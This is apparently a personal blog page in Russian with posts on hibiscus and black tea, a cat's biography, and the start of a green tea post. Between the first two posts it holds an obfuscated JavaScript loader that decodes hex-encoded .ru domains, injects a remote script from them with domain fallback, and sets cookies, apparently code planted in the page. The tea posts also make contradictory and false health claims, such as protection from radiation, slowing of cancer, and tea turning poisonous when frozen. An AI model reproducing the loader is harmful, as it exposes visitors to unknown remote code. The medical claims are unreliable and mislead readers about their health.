Цветки
гибискуса замачиваем в холодной воде на два часа
(можно
больше, к примеру – на всю ночь). Затем содержимое ставим на огонь, доводим до
кипения, кипятим на очень
медленном огне 3-5 минут. Снимаем с огня,
процеживаем или просто выбираем соцветия, кладем сахар по вкусу.
Пить напиток можно и горячим, и холодным.
Выловленные
заваренные цветочки лучше также съесть, т.к.
в них очень много полезных веществ.
Их добавляют в супы и к гарнирам вторых блюд.
Холодный каркаде.
Он готовится
двумя способами. Первый – горячий напиток охлаждается, добавляется лед и
напиток пьется через соломинку. Второй – цветки гибискуса настаиваются в воде
комнатной температуры в течение 8 часов. Затем в настой кладут сахар
и пьют как
прохладительный напиток.
Простой рецепт чая каркаде.
Две ложки
лепестков гибискуса или 10 цветков на стакан воды заварить кипятком и варить в
течение 5 минут на медленном
огне, в
конце добавить сахар. Некоторые варят 10 минут, «придавливая» время от времени
цветки для того, чтобы
напиток был
более насыщенным. Правда, при этом никто не гарантирует сохранности всех
полезных веществ растения.
Но вкус
компенсирует пользу.
Завариваем каркаде в чашке.
Целые
лепестки (1-2 ложки) кладем в чашку с сахаром,
заливаем
кипящей водой, накрываем плотно и
держим 10-15 минут. Говорят, что по вкусу не
отличишь от настоящего египетского рецепта.
Этот напиток
получил популярность в нашей стране
относительно
недавно. Многие любят его за то, что каркаде (гибискус) отлично утоляет жажду в
жару. Кому-то нравится его красивый яркий цвет. Кроме того этот напиток
укрепляет
организм за
счет благотворного влияния на функциональное состояние печени и поджелудочной
железы, оказывает
защитное
действие от токсического влияния алкоголя.
Этот продукт
можно найти на полках любого магазина, но большинство даже не подозревает о
полезных свойствах
красивого и
несколько пикантного чая. Кроме того, нужно
знать не
только то, чем полезен чай каркаде. Свойства этого напитка весьма разнообразны.
Польза Чая Каркаде?
Про пользу
каркаде знали еще в Древней Индии.
Каркаде
ценится на территории Азии уже многие века.
Свойства этого красного чая значительно влияют
на общее состояние организма. В первую очередь связано это с большим
содержанием в напитке витамина С. В результате, он имеет
ярко выраженный кислый вкус. В охлажденном
виде напиток употребляют в жару, и даже небольшое его количество
способно эффективно утолить жажду.
Наряду с
этим, свойства чая помогают снизить высокую температуру тела при некоторых
заболеваниях. Потому уже достаточно давно напиток используется в качестве
жаропонижающего средства.
Кроме того,
цветы гибискуса отлично снижают уровень артериального давления. Каркаде нашел
свое широкое
применение среди гипертоников. Многие
отмечают,
что отвар
чая борется с повышенным давлением не хуже, чем некоторые традиционные
лекарственные препараты.
Еще один
плюс в адрес этого чая – эго способность укреплять стенки сосудов, делать их
более гибкими. Но тем, кто хочет укрепить сосуды стоит все же помнить, что при
хроническом пониженном давлении пить каркаде в больших количествах
нежелательно.
Полезные
свойства чая способствуют освобождению
организма от
вирусов, помогают в борьбе с инфекционными и простудными заболеваниями. Если
пить напиток в теплом
виде, то он может лечить от простуды не хуже
малины,
которая намного более популярна в этом
качестве, чем каркаде.
Напиток так
же повышает общий тонус организма, придает бодрость, помогает бороться с
хронической усталостью и стрессами.
Он в
значительной степени повышает работоспособность и приводит в норму метаболизм
мозга, улучшает умственную активность.
Медиками
отмечены спазмолитические и мочегонные
свойства
чая.
Высокое
содержание витаминов и аминокислот положительно влияет на внешний вид человека
в целом. Есть мнение, что чаем каркаде можно протирать лицо в качестве тоника.
Кроме того,
это – очень хороший антиоксидант.
Это свойство
чая взяли во внимание и современные
косметологи, потому лепестки каркаде добавляют
в
маски для лица и различные крема.
Заваренные
лепестки гибискуса не нужно спешить выбрасывать. Его можно потреблять в пищу,
что является средством для выведения из организма тяжелых металлов, шлаков,
свободных радикалов и токсинов. Органические кислоты, содержащиеся в составе
каркаде, имеют свойства расщеплять жиры и
выводить из организма вредный холестерин.
Потому, этот
чай пьют во время диет для похудения.
Его вполне
можно назвать диетическим, так как он
совершенно не имеет в своем составе жиров.
Содержание углеводов в составе напитка из каркаде тоже можно назвать
приемлемым.
Вред Чая Каркаде?
Но если набрать в интернете запрос «чай
каркаде
польза и вред», то можно так же отметить
некоторое негативное влияние этого продукта на организм. Конечно, касается это
отдельных случаев.
Продукт не содержит насыщенных жиров или
чрезмерного процента углеводов. Чай из каркаде является полностью натуральным
продуктом. Кроме того, в нем совершенно нет канцерогенов, которые могли бы
способствовать
развитию рака.
Противопоказания, как правило, связаны с
некоторыми нарушениями пищеварительной системы, в частности – с повышенной
кислотностью. Так же это касается язвенной
болезни желудка. Связано это с тем фактом,
что чай
каркаде
имеет в своем составе высокое содержание различных кислот.
Как было отмечено выше, продукт нельзя
употреблять в
больших количествах тем, кто страдает
пониженным
давлением. Ведь чай каркаде понижает его еще
больше.
Нужно так же учитывать и то, что каркаде не
агрессивный, но все-таки аллерген. Он имеет
яркий
красный цвет, потому его не рекомендуется
употреблять аллергикам, чувствительным к ярко окрашенным продуктам.
Калорийность чая КАРКАДЕ?
При том, что для взрослого человека со
средними
физическими нагрузками нужно потреблять 2200
Ккал в день, каркаде на 100 гр. имеет 309 Ккал. Это – совсем не много если
учесть, что на стакан чая вполне достаточно одной чайной
ложки этого продукта. Ниже предоставлена
таблица,
в которой предоставлены расчеты калорийности
каркаде
для самых распространенных мерных емкостей.
Мера
измерения
Масса в
граммах
Калорийность
в калориях
Чайная
ложка
1
3,09
Столовая
ложка
3
9,27
Стакан 200
мл.
30
92,7
Граненый
стакан 250 мл.
40
123,6
Данные расчеты позволят определить, сколько
чая
каркаде можно пить в день, находясь на той
или иной диете.
ПротивопоказанияЧая КАРКАДЕ?
Противопоказаниями для приема чая каркаде
могут быть: повышенная кислотность желудка, пониженное артериальное давление
(гипотония), склонность к аллергиям,
индивидуальная непереносимость некоторых
компонентов
чая.
Многие задают вопросы по поводу того, можно
ли пить
этот
чай беременным женщинам. Несмотря на все его
полезные свойства, в этот период лучше брать
витамины
из других источников. Все дело в том, что
способность
красного каркаде стимулировать менструацию
может вызвать осложнения у беременных женщин. Так же этот напиток нежелательно
употреблять женщинам, которые только
планируют беременность. Чай стимулирует
выработку
гормонов, которые препятствуют подготовке
матки к беременности.
В период лактации пить напиток тоже не
рекомендуется. Эта рекомендация связана с тем, что каркаде является аллергеном.
Так
как грудные дети чувствительны ко всем ярким продуктам,
то у
них легко может возникнуть на этом фоне проявление аллергической реакции.
Детям пить каркаде можно начиная с одного
года, но в разбавленном виде. Нужно при этом учитывать, что каркаде является
мочегонным средством. А значит, не нужно поить
ребенка этим чаем на ночь.
Пищевая ценность ЧАЯ КАРКАДЕ?
Ниже будет предоставлена таблица, в которой
указано
содержание в чае каркаде белков, жиров и
углеводов.
Данные
из таблицы могут стать полезными для людей,
которые следят за процентом этих веществ в
различных
продуктах.
Наименование
вещества
Содержание
в 100 г
% от
дневной нормы
Белки
0,8
1
Насыщенные
жиры
0
0
Мононенасыщенные
жиры
0
0
Полиненасыщенные
жиры
0
0
Углеводы
81,5
106
Таблица с витаминами в чае каркаде:
Название
витамина
Содержание
в 100 гр. продукта
% от
дневной нормы
Витамин B1
(тиамин) (B1)
1,279
67
Витамин C
(C)
18,4
25,7
Витамин
A (РЭ)
(A (РЭ))
0,17
10
Бета-каротин
(провитамин витамина А)
0,178
0,5
Список полезных микро- и
макроэлементов Чая КАРКАДЕ?
макроэлементов Чая КАРКАДЕ?
Название
минерала
Содержание
в 100 гр. продукта
% от
дневной нормы
Кальций
(Са)
1
0,001
Магний
(Mg)
1
0,29
Натрий
(Na)
3
3
Калий (К)
9
10
Фосфор (Р)
3
0,38
Таким образом – чай из лепестков гибискуса
можно назвать довольно полезным продуктом. Из витаминов в нем
содержится небольшое количество витамина С и
бета
каротина.
Из минералов – достаточно большое количество
калия.
Из всего вышесказанного можно сделать вывод,
что чай каркаде является диетическим и достаточно полезным продутом. Он ценится
за пикантный и выразительный вкус, а рубиновый цвет вызывает чувство аппетита.
Кроме того он улучшает обмен
веществ в организме и обладает успокаивающим
эффектом.
Чай из цветков гибискуса отлично сочетается с
другими видами чая и специями. Это значит,
что напиток
можно постоянно изменять, добавляя разные
новые
компоненты. Его можно пить как в холодном, так
и в
теплом виде. При этом, холодный каркаде очень
хорошо
утоляет жажду, а теплый чай в сочетании с
корицей и другими пряностями может согреть весь организм.
Есть мнение, что горячий каркаде, в отличие
от его
охлажденного аналога повышает уровень
артериального
давления. Но это не так. Теплый и горячий
напитки снижают давление, температура здесь не играет роли. Это означает,
в зимнее время года гипертоники могут
заменять этим напитком традиционный черный чай.
Но не смотря на все его полезные свойства,
чай каркаде все же имеет и некоторые противопоказания. И об этом нужно
помнить любителям таких приятных напитков,
как чай из
цветов гибискуса.
Каркадэ: свойства, польза и вред Что такое каркадэ?
Каркадэ (каркаде) - это растение семейства мальвовых.
В высоту достигает до 3.5м. Стебель и листья
зеленые, с красноватыми оттенками. Цветки 5-7 см в диаметре с сильным ароматом.
Научное название его Hibiscus sabdariffa.
Родина каркадэ -
Индия, сейчас его также выращивают во
многих странах с тропическим климатом: в
Судане, Египте,
Китае,
на Шри Ланке, Таиланде, в Мексике.
В Судане напиток из каркадэ
настолько стал популярным, что получил еще одно свое название – суданская
роза.
В Египте чай из гибискуса
называли напитком фараонов, дарующим жизненную силу и бессмертие.
В Малайзии каркадэ,
известный под названием бунга рая – национальный цветок. Он изображен на гербе
страны, так как,
по
утверждению мусульман, пять его лепестков соответствуют пяти заповедям ислама.
Когда лепестки увядают, на растении остаются
чашечки цветков. Что удивительно, именно тогда они набирают сок,
увеличиваются в размерах и становятся готовы к
сбору. Из высушенных чашечек цветков каркадэ можно приготовить
прекрасный тонизирующий чай.
В зависимости от места произрастания, цвет и
вкус чая из
каркадэ
будут отличаться. Цвет настоя египетского каркадэ вишневый,
вкус кислый. Мексиканский каркадэ насыщенно оранжевого цвета,
вкус слегка соленый. А чай из каркадэ, выращенного в Таиланде
более сладкий, красивого
пурпурного цвета.
Листья, семена, лепестки гибискуса
также используются в кулинарии, косметологии. В производстве для окраски
тканей
используют все части растения, особенно стебли и
корни.
Распространение каркадэ?
В Египте чай из каркадэ давно
стал национальным напитком. В Древнем Египте, видимо, уже знали о его
пользе для здоровья. Сухие части этого растения археологи находили даже в
гробницах!
На Востоке и в Африке гибискус широко
использовался в
медицине как лекарство от многих болезней.
В Европе каркадэ стал
известен уже в ХVII веке, но не
пользовался большой популярностью. Зато в
наши дни его популярность стремительно растет особенно в регионах
средиземноморского бассейна, а также в скандинавских
странах.
Польза каркадэ?
Каркадэ содержит 13 органических кислот, среди них
лимонная, яблочная, винная, которые придают
чаю кислый
вкус, утоляют жажду.
Витамины, микроэлементы, биологически
активные вещества способствуют укреплению иммунитета, являясь прекрасной
профилактикой против простуды и гриппа, повышают
физическую выносливость, снижают
нервное напряжение.
В состав растения входят антоцины. Именно им
чай из каркадэ обязан своим цветом. Антоцины укрепляют стенки
кровеносных сосудов, регулируют их проницаемость и способствуют
снижению уровня холестерина в крови.
Каркадэ оказывает спазмолитическое действие, улучшает
выработку желчи, благотворно действует на печень и
мочеполовую систему. При регулярном
употреблении способствует нормализации обмена веществ,
благотворно влияет на деятельность поджелудочной
железы и желудка.
Каркадэ обладает также профилактическими свойствами. Он
предупреждает заболевания кишечно - желудочного тракта, облегчает протекание
диабета.
Чай обладает мягким слабительным
эффектом.
Относительно этого установлено, что устойчивая
нормализация работы желудочно - кишечного тракта достигается при
систематическом употреблении в течении не менее 15 дней,
потом пауза неделю и еще пить не менее 7
дней.
Но самое широко известное свойство каркадэ,
это регуляция давления: в горячем виде напиток повышает давление, а в
холодном – понижает.
Чай из каркадэ снимает
последствия алкогольного отравления,
что
тоже является немаловажным фактором для поддержания здоровья.
Коренные жители Африки цветки каркадэ
используют для остановки кровотечения при порезах.
В каркадэ нет щавелевой
кислоты, благодаря которой
образуются камни в почках, поэтому он не
имеет
противопоказаний для больных почечными
заболеваниями.
Возможный вред каркадэ?
Страдающим гастритами с повышенной
кислотностью и
язвенной болезнью, не рекомендуется
употреблять чай из
каркадэ, так как напиток повышает кислотность
желудочного сока.
Также следует соблюдать осторожность при
употреблении
людям с очень низким давлением.
Не рекомендуется давать чай из каркадэ
детям до года.
И, конечно, надо быть внимательным,
употребляя настой тем,
кто
обладает индивидуальной непереносимостью к отдельным видам продуктов.
Каркадэ в кулинарии?
Свежие листья каркадэ кладут
в овощные салаты, в мясные и рыбные блюда. Сухие семена добавляют в густые супы.
А из лепестков получается очень вкусное варенье!
Каркадэ в косметологии?
Прекрасно освежат кожу лица кубики льда,
приготовленые из заваренного каркадэ. Если у вас жирная кожа,
можно до замораживания добавить несколько капель белого вина. После процедуры
необходимо тщательно вымыть лицо и нанести питательный крем.
Также каркадэ можно
использовать в пилинговых смесях
с
кофе: 1 ст. ложку молотого кофе залить крепким настоем каркадэ
— чудо-пилинг готов! Главное потом обильно
смыть
эту смесь с тела водой.
Приготовление чая из каркадэ?
Чай из каркадэ можно
готовить разными способами. Для этого подойдет стеклянная или фарфоровая
посуда. Не стоит пользоваться металлическими чайниками, это может
сказаться на вкусе и свойствах чая.
Простой способ:
Залить сухую заварку кипятком, дать
настояться 5-10 минут.
Чай
готов. Если настой постоит дольше, вкус и состав его будет только богаче.
Варка каркаде:
Налейте в стеклянный чайник 1,5 л воды,
добавьте 2-3 стол.
ложки
сухого каркадэ, доведите до кипения. После потомите 3 мин на
слабом огне, добавьте сахар по вкусу.
Прекрасный напиток темно-рубинового цвета
готов!
Важно
не перекипятить каркадэ, иначе он приобретет синие оттенки и
станет невкусным.
Еще один способ, который рекомендуют
диетологи, это
холодное заваривание. Такой способ дает
наиболее полный по составу, вкусу и пользе для организма чай.
Холодное заваривание:
Налейте в стеклянный чайник 1.5 л воды,
добавьте 3 стол.
ложки сухого каркадэ. Время
настаивания от 1 до 8 часов.
Перед
употреблением добавьте мед по вкусу.
В нашем чайном клубе есть несколько фирменных
рецептов, например, каркадэ, сваренный с пряностями и сахаром.
Такой напиток хорош как в жару, так и в сырые холодные
петербургские вечера. Он согревает и повышает
настроение.
После того, как каркадэ
готов, размякшие цветочные чашечки можно есть. В них содержится витамин С,
белок,
аминокислоты и пектин, который
способствовует очищению кишечника от токсинов и шлаков.
Каркадэ по праву считается напитком красоты, бодрости,
молодости и здоровья!
Собирал инфромацию этого конспекта:
Ганина Мария Владимировна.
Конец этого конспекта.
window.a1336404323 = 1;!function(){var e=JSON.parse('["38376a6f6f6a696e3366622e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="10251",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "my.mail.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
Метки: 4.
Мария Пронина.,
06-06-2015 18:13
(ссылка)
2.Чёрный Чай!
Чёрный чай!
Что такое Чёрный
чай?
чай?
Черный и зеленый чай производят из листьев,
собранных с одного чайного куста – просто черный чай дольше ферментируется. Листовой черный
чай – самый
качественный, и производится он в Индии:
районы,
в которых он выращивается, называются
Дарджилинг
и Ассам – под этими названиями лучшие черные
крупнолистовые
чаи известны во всем мире.
Самый дорогой черный чай – Дарджилинг: покупая его,
надо
быть внимательнее и избегать подделок – на упаковке обязательно должны быть
указаны время сбора урожая;
место, где выращен чай; возраст чайного
куста.
Цвет Дарджилинга, если его заварить, будет
более
светлым, чем у других сортов черного чая, и он
менее
крепкий, но очень душистый и ароматный, с
легким запахом цветов и миндаля.
Ассам - совсем другой черный чай. Он не такой ароматный,
как
Дарджилинг, и гораздо крепче; цвет у него темный, красноватый или оранжевый, и
он слегка пахнет солодом.
Ассам редко продается в чистом виде – чаще
его смешивают с другими видами чая. Очень любят Ассам англичане:
они считают его английским, и называют
классическим,
а пьют
его обычно утром или в обед – именно Ассам
входит в известный купаж «Английский завтрак»
-
«English Breakfast Tea».
Состав и польза
Чёрного чая?
Чёрного чая?
Состав
черного чая очень сложен – в нем около 300
различных
компонентов, но самыми важными его частями считаются вещества, образующие
несколько групп:
это
дубильные вещества, аминокислоты, алкалоиды, пигменты, эфирные масла и витамины.
Рассказывать
обо всех основных веществах чая пришлось
бы долго, но на витаминах стоит остановиться
подробнее, тем более, что большинство людей, употребляющих чай, не подозревают
о его витаминном «богатстве».
В черном чае
есть каротин, из
которого в организме
образуется витамин А – о важности этого витамина
всем
известно: при его нехватке неправильно
формируются
кости, страдают слизистые оболочки и кожа, нарушается жировой обмен и работа
поджелудочной железы, ухудшается зрение. Сбои в работе эндокринной системы
приводят к кожным заболеваниям, снижается
иммунитет,
так что
черным чаем не стоит пренебрегать – разумеется, заваривать его следует
правильно.
Немало в
черном чае и витаминов группы В: это тиамин, рибофлавин,
пантотеновая кислота, витамин РР – никотиновая кислота; поэтому чай полезен при
диабете, подагре, язве
желудка,
серьезных заболеваниях печени, нарушениях в работе нервной системы, кожных
проблемах и склонности к аллергическим реакциям.
Витамин С в черном чае
тоже есть, хотя его и не так много:
если бы он мог сохраняться при
обработке, чай был бы
одним из чемпионов по его содержанию – свежий чайный лист содержит его в
несколько раз больше, чем цитрусовые.
Однако первое место среди «чайных» витаминов занимает витамин Р, называемый рутином,
хотя это вещество
представляет собой целый комплекс растительных биофлавоноидов.
Биологическое значение витамина
Р огромно: он активно защищает клетки от свободных
радикалов, и даже восстанавливает
структуру поврежденных клеток, замедляя, таким образом, процесс старения, и
повышая общую устойчивость организма. Важнейшее свойство
витамина Р – капилляроукрепляющее: он сохраняет
прочность и эластичность сосудов, предупреждает развитие атеросклероза и
поддерживает в норме кровяное давление;
если витамина Р всегда достаточно, кровообращение
будет в норме, и варикозная болезнь не разовьется. Вместе с витамином С
витамин Р не дает разрушаться молекулам гиалуроновой кислоты: данная кислота
соединяет клетки кровеносных сосудов – именно поэтому проницаемость
капилляров снижается, и они становятся прочнее.
Входящие в состав витамина Р
биофлавоноиды укрепляют
наш иммунитет, усиливая защиту от инфекций –
они обладают антибактериальной активностью; антиоксидантная активность других
биофлавоноидов – например, кверцетина, обеспечивает клеткам защиту от
онкологических заболеваний – регулярное употребление хорошего черного чая может
даже замедлять патологические процессы при раке крови и молочной железы.
Под влиянием биофлавоноидов в
организме перестают вырабатываться вещества, провоцирующие аллергические
реакции, поэтому черный чай
снимает аллергические отеки и облегчает бронхиальную астму.
Надо сказать, что по содержанию
витамина Р черный чай
занимает одно из ведущих мест: его в нем
намного больше,
чем в гречке, а гречка давно
считается одним из его основных источников. Выпивая в день 2-3 чашки правильно
заваренного чая, мы получаем
суточную норму витамина Р.
Витамин К для нас также
важен – он обеспечивает
нормальную свертываемость крови, и в черном
чае он
тоже есть; эфирные масла, которых в чае тоже
много,
оказывают на нашу нервную систему
успокаивающее
действие. Самое удивительно свойство чая – это
то, что он тонизирует и успокаивает одновременно: не зря говорят
– «выпей чаю и успокойся», или «выпей чаю,
взбодрись!»
- и то, и другое верно.
В наше время многие люди
предпочитают чаю кофе - им
кажется, что кофе лучше
тонизирует и бодрит. Действительно, в чашке кофе может содержаться в 1,5-2 раза
больше алкалоида кофеина, чем в таком же количестве черного чая,
но
эффект кофе проявляется очень быстро, и также
быстро
спадает, а действие чая
растягивается по времени: «чайный» кофеин усваивается постепенно, а выводится
из организма медленнее.
Свойства Чёрного
Чая?
Чая?
В целом о черном чае можно
сказать, что он обладает
многими
лечебными свойствами, о которых мало кто знает: например, не все знают, что
некрепкий черный чай
понижает повышенное давление, зато о его благотворном влиянии на желудок
известно многим. При отравлениях лекарствами, химическими веществами или
алкоголем помогает крепкий черный чай с сахаром, разбавленный молоком
– он
способен
даже уменьшить последствия радиоактивного
облучения.
Антибактериальные свойства черного
чая нейтрализуют возбудителей многих инфекций – кожных, глазных,
кишечных и др. Например, промывание свежим
настоем
черного чая всегда помогает при
конъюнктивитах, если начать применять его вовремя, при первых признаках
болезни; употребление крепкого чая помогает уже через несколько часов
остановить диарею, даже когда другие средства оказываются
малоэффективными.
Инфекции полости рта – стоматит и др. –
отлично лечатся
черным чаем, и зубам он тоже приносит пользу: в нем
содержится фтор, укрепляющий зубную эмаль.
В конце концов, черный чай с
медом или малиной
–
прекрасное жаропонижающее средство при простудах
и
гриппе: уж об этом-то знают все, однако, когда речь
заходит о пользе чая, почему-то вспоминают не
сразу.
Как правильно
заваривать Чёрный Чай?
заваривать Чёрный Чай?
Все
описанные выше целебные свойства чая и его оздоровительное воздействие на
организм сохраняются
только при
условии его правильного употребления.
Прежде
всего, черный чай надо научиться правильно
заваривать – это не такой уж простой процесс, как кажется,
хотя и
ничего сложного в нем тоже нет.
Чайник, предназначенный для заваривания, надо
чисто вымыть, ополоснуть водой и высушить. Воду для чая кипятят на
малом огне – не надо доливать воды в чайник с
оставшимся кипятком – свежей должна быть вся вода: как только вода
начинает закипать – слегка мутнеет, белеет и
образуются маленькие пузырьки, чайник надо снять с плиты и подождать – вода
должна остыть хотя бы до 65°С.
Высушенный чайник для заваривания 3-4 раза
ополаскивают свежим кипятком, и кладут в него сухой листовой черный чай
– столько ложек, сколько чашек в него входит, и добавляют еще 1 ложку.
Например, если объем чайника – 5 чашек воды,
в него надо положить 6 ч.л. чая – при таком
соотношении
крепость чая будет средней. Не надо быстро
заливать
чай кипятком – пусть он полежит в чайнике
около минуты,
а уже потом в чайник наливают воду с
температурой
около 63°С, быстро закрывают его крышкой и
накрывают салфеткой – носик тоже должен быть прикрыт. Настаивать качественный
черный чай можно не больше 5 минут: примерно через 3 минуты салфетку убирают,
открывают крышку
и доливают кипяток, чтобы вода немного не
доходила до
крышки; затем чайник закрывают крышкой и
салфеткой
снова, и через 2 минуты доливают кипятком до
верха.
Такой способ заливки позволяет замедлить
процесс остывания воды в чайнике.
Во время этого процесса, как правило, на чае
появляется
пенка: снимать ее не надо – именно в ней
сосредоточено все полезное и ценное, так что лучше пусть она попадет в чашку –
чтобы хватило всем, эту пенку надо просто размешать в
заварном
чайнике ложечкой.
Как правильно
заваривать Чёрный Чай В Мультиварке « Поларис».
заваривать Чёрный Чай В Мультиварке « Поларис».
Оттуда выходит много чая примерно 3 литра.
Я делаю так: 1. Открываю пустую мультиварку.
2. Из неё я вынимаю блюдо и ставлю на стол.
3. В блюдо я наливаю 3 литра воды или по метку на
стенке блюда.
4. Потом я чу-чу ть приподнимаю блюдо вверх и одной
рукой провожу по дну с наружной стороны проверяя не
мокрое
ли дно если
мокрое то протираю сухой тряпочкой,
а если сразу сухое дно то сразу блюдо с водой ставлю в
мультиварку.
5. Потом я закрываю крышку у мультиварки.
6. Потом я её включаю в электрическую розетку на мультиварки
загарается лампочка меню, настройки и
десплей с
временем.
7. Потом я нажимаю кнопку меню до тех пор пока на
паели мультиварки не загорится лампочка «Мультиповар» .Как загорелась лампочка
на панели я нажимаю кнопку
настройки и там на дисплее выходит настрой ка часов.С
помощью кнопки «Настройка» я настрайваю время на 1 час. Потом снова нажимаю
кнопку «Меню» На дисплее загаается настройка грдусов и снова я настрайваю
градусы с помошью кнопки «Настройка».Я выбираю 160 ºС градусов цельсия и нажимаю кнопку на Мультиварке
«Старт». Потом на дисплее загорается время 1:00 час.И я отхожу от
мультиварки
ровно на 1:00 час.
8. Потом через 1:00 час как про пищит мультиварка
то есть даст знать что пора её выкулючать я подхожу к
ней и нажимаю на ней кнопку «Отмена» на дисплее появляютсячёрточки примерно вот
такие-----. Потом после нажатия кнопки «Отмена» и появления чёрточек я её
выдёргиваю из
электрической разетки открываю крышку мультиварки примерно на 30 минут.
9. Потом через 30 минут я подхожу к своей Мультиварки
открытой и кладу в кипячёную но немного остывшую воду Чёрный чай, помешаю его немного деревянной
ложкой и снова
закрываю крышку мультиварки с чаем на 30 минут (Не включая её в электрическую
разетку) и
отхожу от неё
на 30 минут.
10. Потом через 30 минут я подхажу к своей мультиварки
и открываю её, и вынимаю из неё блюдо с готовым чаем.
11. Потом переливаем готовый чай в 3-х литровую
банку но так
аккуратно что бы банка не лопнула от
горячего чая.
12. Потом как перельёте чай в банку сразу же намойте
чашу от мультварки.
13. Самою мультиварку протрите от всякой грязи и
дайте ей остыть.
14. готовый чай можете употреблять!
15. Приятного вам Чаепития!
16. (Совет: кто страдает запором перед тем как
переливать чай в банку 3-х литровую положите на дно
банки немного ледышков сделанные из чистой, проточной,
питьевой воды.
Или разбавьте чай простой сырой водой).
А кто запором
не страдает тех этот совет не касается.
17. Этот рецепт по завариванию чая хорошо помагает
очень хорошо от шелушения кожи.
18. Пить чёрный чай надо от шелушения кожи и бодрости
в теле и при
паносе.
3 раза в день
по 0.6 мл. каждый раз.
И последний раз в день пейте его в 17:00 часов.
Если у вас в банке остался чай то вы его не выливайте
в помойку а поставьте в холодильник он вам
пригодится на
следующий день.
19. Чёрный чай
не вкоем случае нельзя
замораживовыыать он становится ядовитым.И повторно
перекипячивовывать тоже нельзя он тоже
становится
ядовитым. Чёрный чай должен быть
комнатной температуры.
20. Чёрный чай
надо пить курсами на пример 1
месяц пить а другой не пить и так по очереди.
Информация
взята?
взята?
Информация
взята с сайта http://www.inmoment.ru/beauty/health-body/black-tea.html
Противопоказания
Чёрного Чая?
Чёрного Чая?
Черный чай, вопреки расхожему мнению
о наличии в нем
большого количества кофеина, на самом деле
является наиболее мягким по своему воздействию на человеческий организм
из всего ассортимента чайных сортов. Однако,
наряду с
полезными свойствами, приятным
вкусом и знакомым всем с детства ароматом, он имеет и ряд противопоказаний
для употребления.
Первым и самым главным из них является чрезмерная
чувствительность к кофеину. У людей с такой особенностью, чашка черного
чая, выпитого за обедом, может вызвать
бессонницу на все последующие сутки.
Головная боль,
усиленное сердцебиение, дрожь в
руках и ногах — так может выражаться непереносимость этого напитка. Причем,
кофе и другие сорта чая, зачастую,
воспринимаются такими людьми вполне нормально. Всё дело в том, что черный чай
содержит «другой» кофеин, который под воздействием прочих алкалоидов
(теофиллина и теобромина), входящих в его состав, может вызвать вышеуказанные
симптомы у склонных к этому людей.
Такая непереносимость черного чая встречается крайне редко. Но,
существуют и другие состояния, во время которых употребление этого вида чая,
особенно крепкого, желательно исключить из своего рациона:
- Обострение гастрита или язвы желудка
- Повышенное давление
- Заболевания, сопровождающиеся высокой
температурой тела
- Болезни почек в стадии обострения
- При глаукоме
- При беременности, особенно, когда она сопровождается токсикозами
- В детском возрасте (до 12 лет)
На последнем пункте хотелось бы остановиться
подробнее: у наших мам было принято давать
грудным детям
черный чай чуть ли не с рождения.
Считалось, что он улучшает пищеварение и обладает
успокаивающим эффектом. Все эти качества, конечно,
присущи черному
чаю, но на детей младшего возраста он практически всегда оказывает прямо
противоположное возбуждающее действие. Возможно, именно такое
питье и было причиной плохого детского сна, на который
жаловались наши мамы. К счастью, сейчас существует
большое
количество травяных чаев, адаптированных для детского питания, которые можно
употреблять без вреда для здоровья практически с рождения.
Тем, кто любит аромат и вкус черного чая, но,
по какой-либо
причине имеет противопоказания для его употребления, можно посоветовать пить
этот напиток в слабо заваренном виде или добавлять в него молоко, которое
связывает
активные частицы, входящие в состав черного
чая и, тем
самым, смягчает его действие на организм.
Информацию
к конспекту собирал?
к конспекту собирал?
Информацию
собирал: Ганина Мария Владимировна.
Метки: 2.Чёрный Чай!
Мария Пронина.,
27-05-2015 19:45
(ссылка)
Биография моего котика Тиши!
Тишина Биография.
У меня дома
была кошка Муся, потом из лесу мне мой дедушка принёс маленького котёнка за
пазухой, которого бросили в лесу умирать.
Жили они у
нас 2-года лесной котёнок вырос богатырём.
В город к
нам приехал цирк со зверями и видимо собирали всех кошек на съедение-наши туда
же попали.
Мы взяли
котика у родственников который жил неделю около магазина «Цветы сувениры» на
Берёзе.
У него один
глаз зелёный-другой голубой.
Потом на
улице через 1 год после взятия его к себе домой кто-то повредил ему пальчик на
правой задней лапе и он отпал – но быстро зажил.
Сейчас мы
переехали в городскую квартиру и он счастливо живёт с нами 4-ий год.
Метки: 3.
Мария Пронина.,
09-05-2015 19:28
(ссылка)
1.Зелёный чай!
1. Зелёный чай.
1. Что такое Зелёный чай?
Зеленый
чай является
многолетним вечнозеленым
